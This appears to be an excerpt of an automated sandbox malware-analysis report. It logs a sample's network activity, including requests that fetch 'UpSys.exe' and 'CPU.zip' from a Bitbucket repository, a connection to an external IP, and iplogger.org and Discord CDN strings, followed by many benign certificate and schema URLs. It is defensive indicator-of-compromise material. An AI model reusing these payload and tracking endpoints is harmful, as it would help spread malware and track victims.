Source: global traffic	HTTP traffic detected: GET /e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/4cedbadc-424b-4242-93aa-1dc687b9b639/UpSys.exe?response-content-disposition=attachment%3B%20filename%3D%22UpSys.exe%22&AWSAccessKeyId=ASIA6KOSE3BNJVJZSMMY&Signature=GKG00xdlg3oygermvOEbueO%2BNz8%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDFpChqY%2B2X%2BiK6A2piK%2BAcOCwSpdg1wgDPSX5WQjUuMV1Z7amPKaPIe5PjMvfeBJMBw5AeR8g4M55fcd%2F0kTXCArPsFwKbmXsSrHAwSMRv6DU0B5vALfTsLWG1UAEdmSN9MjiwJKee3Vq5ZeBBpgPl5YhOPG3txjTiyZZKlKby6LzGxZIVE2reMrsReULEJiZjV85rcOjR4dLWEWoLJaC3%2B23R1OMfkepi23e02S%2FCK0u4K29MgaGjs4ttXi0v665%2BOmSEtss4FLxVC2W2wojN6ulwYyLXTHueXa1xySDNZ8yPRIrP0HK1T2gA%2Fvw3IsU5T5A624p2Zydq6RO6NQG84stQ%3D%3D&Expires=1659614740 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/UpSys.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: ITLDC-NLUA ITLDC-NLUA

Source: Joe Sandbox View	IP Address: 104.192.141.1 104.192.141.1
Source: Joe Sandbox View	IP Address: 104.192.141.1 104.192.141.1

Source: global traffic

TCP traffic: 192.168.2.5:49768 -> 46.21.250.111:65367

Source: e4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: e4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: e4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: e4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: e4.exe, 00000000.00000002.541573181.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: TextOutputHost.exe, 0000000C.00000003.538054279.0000025702500000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.632267525.00000257023F8000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539738171.00000257024F3000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe.12.dr, UpSys[1].exe.12.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: TextOutputHost.exe, 0000000C.00000003.538054279.0000025702500000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539738171.00000257024F3000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539391718.000002570241E000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe.12.dr, UpSys[1].exe.12.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: TextOutputHost.exe, 0000000C.00000003.538054279.0000025702500000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539738171.00000257024F3000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539391718.000002570241E000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe.12.dr, UpSys[1].exe.12.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: e4.exe, 00000000.00000002.585717609.0000000006DA0000.00000004.00000800.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.633490029.000002570249C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531598471.000002570249F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.698383952.000001F1F7D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: e4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: e4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: e4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: e4.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: e4.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: e4.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: e4.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: TextOutputHost.exe, 0000000C.00000000.594626278.000002570248D000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699733299.000001F1F7D7D000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.694042345.000001F1F7C9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iplogger.org/1fEwd7
Source: System.exe, 00000014.00000002.694042345.000001F1F7C9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iplogger.org/1fEwd7a/
Source: TextOutputHost.exe, 0000000C.00000000.594626278.000002570248D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iplogger.org/1fEwd7j
Source: e4.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: e4.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: e4.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: e4.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: TextOutputHost.exe, 0000000C.00000003.538054279.0000025702500000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539738171.00000257024F3000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe.12.dr, UpSys[1].exe.12.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: TextOutputHost.exe, 0000000C.00000003.538054279.0000025702500000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539738171.00000257024F3000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539391718.000002570241E000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe.12.dr, UpSys[1].exe.12.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: TextOutputHost.exe, 0000000C.00000003.538054279.0000025702500000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539738171.00000257024F3000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539391718.000002570241E000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe.12.dr, UpSys[1].exe.12.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: e4.exe	String found in binary or memory: http://pki-crl.symauth.com/ca_d409a5cb737dc0768fd08ed5256f3633/LatestCRL.crl07
Source: e4.exe	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: e4.exe	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: e4.exe	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: e4.exe	String found in binary or memory: http://s.symcd.com06
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: powershell.exe, 00000027.00000002.734031327.0000023F8D9E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
